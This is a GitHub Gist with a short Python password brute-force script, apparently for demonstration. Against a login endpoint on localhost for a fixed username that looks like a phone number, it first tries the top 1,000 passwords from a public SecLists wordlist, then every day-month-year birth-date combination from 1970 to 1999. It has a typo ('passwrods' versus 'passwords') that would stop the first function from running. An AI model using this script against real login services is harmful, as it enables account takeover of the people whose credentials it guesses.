Forked from weinbergdavid/birth_date_brute_force.py
Last active
January 29, 2019 07:32
-
-
Save camelcaseblog/cf144a9399d02f4501cabd02e3f25f5c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import itertools | |
import requests | |
def check_password(password): | |
data = {'username': '0501234567', 'password': password} | |
res = requests.post('http://localhost:8080/login', json=data) | |
if res.status_code == 200: | |
return True | |
return False | |
def common_passwords(): | |
res = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-1000.txt') | |
passwrods = [s.strip() for s in res.content.splitlines()] | |
for password in passwords: | |
if check_password(password): | |
return password | |
return None | |
def birth_date_brute_force(): | |
for day, month, year in itertools.product(range(1, 32), range(1, 13), range(1970, 2000)): | |
password = f'{day}{month}{year}' | |
if check_password(password): | |
return password | |
return None | |
print(common_passwords()) | |
print(birth_date_brute_force()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment